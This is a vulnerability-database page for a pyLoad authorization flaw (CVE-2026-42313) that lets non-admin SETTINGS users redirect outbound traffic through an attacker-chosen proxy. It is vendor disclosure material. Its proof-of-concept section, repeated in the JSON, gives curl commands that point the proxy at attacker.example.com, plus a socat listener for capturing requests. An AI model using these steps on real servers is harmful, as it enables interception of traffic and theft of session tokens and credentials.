Vulnerability-Lookup

CVE-2026-42313 (GCVE-0-2026-42313)

Vulnerability from cvelistv5 – Published: 2026-05-11 16:30 – Updated: 2026-05-12 13:51

Title

pyload-ng: non-admin SETTINGS users can redirect all outbound traffic through an attacker-controlled proxy

Summary

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/__init__.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker. This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. This vulnerability is fixed in 0.5.0b3.dev100.

Severity ?

8.3 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

CWE

CWE-441 - Unintended Proxy or Intermediary ('Confused Deputy')
CWE-863 - Incorrect Authorization
CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/pyload/pyload/security/advisor…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
pyload	pyload	Affected: < 0.5.0b3.dev100

Show details on NVD website

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GHSA-PG67-9WJV-MR85

Vulnerability from github – Published: 2026-05-04 22:08 – Updated: 2026-05-13 14:17

Summary

pyload-ng: non-admin SETTINGS users can redirect all outbound traffic through an attacker-controlled proxy via unrestricted `proxy.*` config (incomplete fix for CVE-2026-33509 / -35463 / -35464 / -35586)

Details

Summary

The set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/__init__.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker.

Gating only the proxy credentials is ineffective: the attacker is the proxy endpoint, so they do not need pyload's proxy-auth secret. proxy.username / proxy.password were designed so an admin could authenticate to a trusted corporate proxy; they do not help when the non-admin attacker is free to choose the proxy itself.

This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. CVE-2026-35586 in particular bundled three related SSL-cert options into one advisory on the same rationale applied here — the four proxy.* fields are jointly required to weaponize the miss and are patched together.

Details

Writer — src/pyload/core/api/__init__.py, set_config_value() (around lines 215–290). The allowlist:

ADMIN_ONLY_CORE_OPTIONS = {
    ("general", "storage_folder"),
    ("log", "syslog_host"), ("log", "syslog_port"),
    ("proxy", "password"), ("proxy", "username"),   # <-- credentials gated
    ("reconnect", "script"),
    ("webui", "host"),
    ("webui", "ssl_certfile"), ("webui", "ssl_keyfile"), ("webui", "ssl_certchain"),
    ("webui", "use_ssl"),
}

("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), ("proxy", "type") are absent.

Reader — src/pyload/core/network/request_factory.py:82-100:

def get_proxies(self):
    if not self.pyload.config.get("proxy", "enabled"):
        return {}
    proxy_type     = self.pyload.config.get("proxy", "type")
    proxy_host     = self.pyload.config.get("proxy", "host")
    proxy_port     = self.pyload.config.get("proxy", "port")
    proxy_username = self.pyload.config.get("proxy", "username") or None
    proxy_password = self.pyload.config.get("proxy", "password") or None
    return {"type": proxy_type, ..., "host": proxy_host, "port": proxy_port, ...}

Sink — src/pyload/core/network/http/http_request.py (around lines 211–230) passes the dict to pycurl via PROXY / PROXYPORT / PROXYTYPE options. get_proxies() is called every time a new pycurl handle is constructed, so the new proxy config takes effect on the next outbound request — no restart required.

PoC

Authenticated as any user with Perms.SETTINGS (non-admin role):

# 1) Log in as the SETTINGS (non-admin) user.
curl -c cookies.txt -X POST http://pyload.example:8000/api/login \
    -d 'username=settings_user&password=<password>'

# 2) Redirect all outbound traffic through attacker.example.com:8080.
for kv in \
    'category=proxy&option=enabled&value=True' \
    'category=proxy&option=host&value=attacker.example.com' \
    'category=proxy&option=port&value=8080' \
    'category=proxy&option=type&value=http' ; do
  curl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \
      -d "$kv&section=core"
done

# 3) Enqueue any download (or wait for any periodic update / captcha
#    fetch). The attacker's server receives the full request — URL,
#    query string (often carrying auth tokens on download sites),
#    headers, cookies — and can inject an arbitrary response body.

Verification: run a raw HTTP listener on attacker.example.com:8080 (e.g. socat -v TCP-LISTEN:8080,fork,reuseaddr -), trigger any pyload download, and observe the full request on the listener.

Impact

Who: any authenticated user whose role was granted Perms.SETTINGS. Multi-user pyload deployments that delegate settings administration to non-admins are the primary blast radius.
What:
1. Full interception of all outbound HTTP traffic: URLs (including embedded tokens), headers, cookies (download-site session IDs), request bodies, and response bodies flow through the attacker.
2. Credential theft from any download-site auth cookies or bearer tokens that affected plugins send.
3. Arbitrary response injection — poisoned archive files into the extractor pipeline; poisoned HTML into anticaptcha solvers; arbitrary content into the update checker.
4. Chains with the sibling ssl_verify advisory: if the attacker additionally sets general.ssl_verify=off (same authz family), the MitM works for HTTPS too, with forged certs accepted for any hostname. Both settings together let the attacker fully weaponize what set_config_value already permits to a SETTINGS user.
Why gating the credentials alone is insufficient: already covered in the summary — the attacker owns the proxy endpoint, so they do not need pyload's proxy-auth creds.

Severity ?

8.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Show details on source website

JSON

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  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.0b3.dev99"
      },
      "package": {
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              "fixed": "0.5.0b3.dev100"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42313"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-863",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T22:08:26Z",
    "nvd_published_at": "2026-05-11T18:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `set_config_value()` API method (`@permission(Perms.SETTINGS)`) in `src/pyload/core/api/__init__.py` gates security-sensitive options behind a hand-maintained allowlist `ADMIN_ONLY_CORE_OPTIONS`. The allowlist contains `(\"proxy\", \"username\")` and `(\"proxy\", \"password\")` \u2014 which protect the proxy credentials \u2014 but it does **not** include `(\"proxy\", \"enabled\")`, `(\"proxy\", \"host\")`, `(\"proxy\", \"port\")`, or `(\"proxy\", \"type\")`. Any authenticated user with the non-admin `SETTINGS` permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker.\n\nGating only the proxy credentials is ineffective: the attacker is the proxy endpoint, so they do not need pyload\u0027s proxy-auth secret. `proxy.username` / `proxy.password` were designed so an admin could authenticate to a trusted corporate proxy; they do not help when the non-admin attacker is free to choose the proxy itself.\n\nThis is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. CVE-2026-35586 in particular bundled three related SSL-cert options into one advisory on the same rationale applied here \u2014 the four `proxy.*` fields are jointly required to weaponize the miss and are patched together.\n\n### Details\n\n**Writer** \u2014 `src/pyload/core/api/__init__.py`, `set_config_value()` (around lines 215\u2013290). The allowlist:\n\n```python\nADMIN_ONLY_CORE_OPTIONS = {\n    (\"general\", \"storage_folder\"),\n    (\"log\", \"syslog_host\"), (\"log\", \"syslog_port\"),\n    (\"proxy\", \"password\"), (\"proxy\", \"username\"),   # \u003c-- credentials gated\n    (\"reconnect\", \"script\"),\n    (\"webui\", \"host\"),\n    (\"webui\", \"ssl_certfile\"), (\"webui\", \"ssl_keyfile\"), (\"webui\", \"ssl_certchain\"),\n    (\"webui\", \"use_ssl\"),\n}\n```\n\n`(\"proxy\", \"enabled\")`, `(\"proxy\", \"host\")`, `(\"proxy\", \"port\")`, `(\"proxy\", \"type\")` are absent.\n\n**Reader** \u2014 `src/pyload/core/network/request_factory.py:82-100`:\n\n```python\ndef get_proxies(self):\n    if not self.pyload.config.get(\"proxy\", \"enabled\"):\n        return {}\n    proxy_type     = self.pyload.config.get(\"proxy\", \"type\")\n    proxy_host     = self.pyload.config.get(\"proxy\", \"host\")\n    proxy_port     = self.pyload.config.get(\"proxy\", \"port\")\n    proxy_username = self.pyload.config.get(\"proxy\", \"username\") or None\n    proxy_password = self.pyload.config.get(\"proxy\", \"password\") or None\n    return {\"type\": proxy_type, ..., \"host\": proxy_host, \"port\": proxy_port, ...}\n```\n\n**Sink** \u2014 `src/pyload/core/network/http/http_request.py` (around lines 211\u2013230) passes the dict to pycurl via `PROXY` / `PROXYPORT` / `PROXYTYPE` options. `get_proxies()` is called every time a new pycurl handle is constructed, so the new proxy config takes effect on the next outbound request \u2014 no restart required.\n\n### PoC\n\nAuthenticated as any user with `Perms.SETTINGS` (non-admin role):\n\n```bash\n# 1) Log in as the SETTINGS (non-admin) user.\ncurl -c cookies.txt -X POST http://pyload.example:8000/api/login \\\n    -d \u0027username=settings_user\u0026password=\u003cpassword\u003e\u0027\n\n# 2) Redirect all outbound traffic through attacker.example.com:8080.\nfor kv in \\\n    \u0027category=proxy\u0026option=enabled\u0026value=True\u0027 \\\n    \u0027category=proxy\u0026option=host\u0026value=attacker.example.com\u0027 \\\n    \u0027category=proxy\u0026option=port\u0026value=8080\u0027 \\\n    \u0027category=proxy\u0026option=type\u0026value=http\u0027 ; do\n  curl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \\\n      -d \"$kv\u0026section=core\"\ndone\n\n# 3) Enqueue any download (or wait for any periodic update / captcha\n#    fetch). The attacker\u0027s server receives the full request \u2014 URL,\n#    query string (often carrying auth tokens on download sites),\n#    headers, cookies \u2014 and can inject an arbitrary response body.\n```\n\nVerification: run a raw HTTP listener on attacker.example.com:8080 (e.g. `socat -v TCP-LISTEN:8080,fork,reuseaddr -`), trigger any pyload download, and observe the full request on the listener.\n\n### Impact\n\n- **Who**: any authenticated user whose role was granted `Perms.SETTINGS`. Multi-user pyload deployments that delegate settings administration to non-admins are the primary blast radius.\n- **What**:\n    1. **Full interception of all outbound HTTP traffic**: URLs (including embedded tokens), headers, cookies (download-site session IDs), request bodies, and response bodies flow through the attacker.\n    2. **Credential theft** from any download-site auth cookies or bearer tokens that affected plugins send.\n    3. **Arbitrary response injection** \u2014 poisoned archive files into the extractor pipeline; poisoned HTML into anticaptcha solvers; arbitrary content into the update checker.\n    4. **Chains with the sibling `ssl_verify` advisory**: if the attacker additionally sets `general.ssl_verify=off` (same authz family), the MitM works for HTTPS too, with forged certs accepted for any hostname. Both settings together let the attacker fully weaponize what `set_config_value` already permits to a SETTINGS user.\n- **Why gating the credentials alone is insufficient**: already covered in the summary \u2014 the attacker owns the proxy endpoint, so they do not need pyload\u0027s proxy-auth creds.",
  "id": "GHSA-pg67-9wjv-mr85",
  "modified": "2026-05-13T14:17:50Z",
  "published": "2026-05-04T22:08:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-pg67-9wjv-mr85"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42313"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-4744-96p5-mp2j"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-ppvx-rwh9-7rj7"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-r7mc-x6x7-cqxx"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-w48f-wwwf-f5fr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyload-ng: non-admin SETTINGS users can redirect all outbound traffic through an attacker-controlled proxy via unrestricted `proxy.*` config (incomplete fix for CVE-2026-33509 / -35463 / -35464 / -35586)"
}

FKIE_CVE-2026-42313

Vulnerability from fkie_nvd - Published: 2026-05-11 18:16 - Updated: 2026-05-15 14:04

Severity ?

8.3 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/pyload/pyload/security/advisories/GHSA-pg67-9wjv-mr85	Exploit, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/pyload/pyload/security/advisories/GHSA-pg67-9wjv-mr85	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	pyload-ng_project	pyload-ng	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:pyload-ng_project:pyload-ng:*:*:*:*:*:python:*:*",
              "matchCriteriaId": "52EF3B80-A96B-4C56-AD17-7FB44B65A2C3",
              "versionEndExcluding": "0.5.0b3.dev100",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/__init__.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The allowlist contains (\"proxy\", \"username\") and (\"proxy\", \"password\") \u2014 which protect the proxy credentials \u2014 but it does not include (\"proxy\", \"enabled\"), (\"proxy\", \"host\"), (\"proxy\", \"port\"), or (\"proxy\", \"type\"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker. This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. This vulnerability is fixed in 0.5.0b3.dev100."
    }
  ],
  "id": "CVE-2026-42313",
  "lastModified": "2026-05-15T14:04:39.930",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 8.3,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.5,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-11T18:16:34.980",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-pg67-9wjv-mr85"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-pg67-9wjv-mr85"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-441"
        },
        {
          "lang": "en",
          "value": "CWE-863"
        },
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-42313 (GCVE-0-2026-42313)

GHSA-PG67-9WJV-MR85

Summary

Details

PoC

Impact

FKIE_CVE-2026-42313

Tags

Sightings

Nomenclature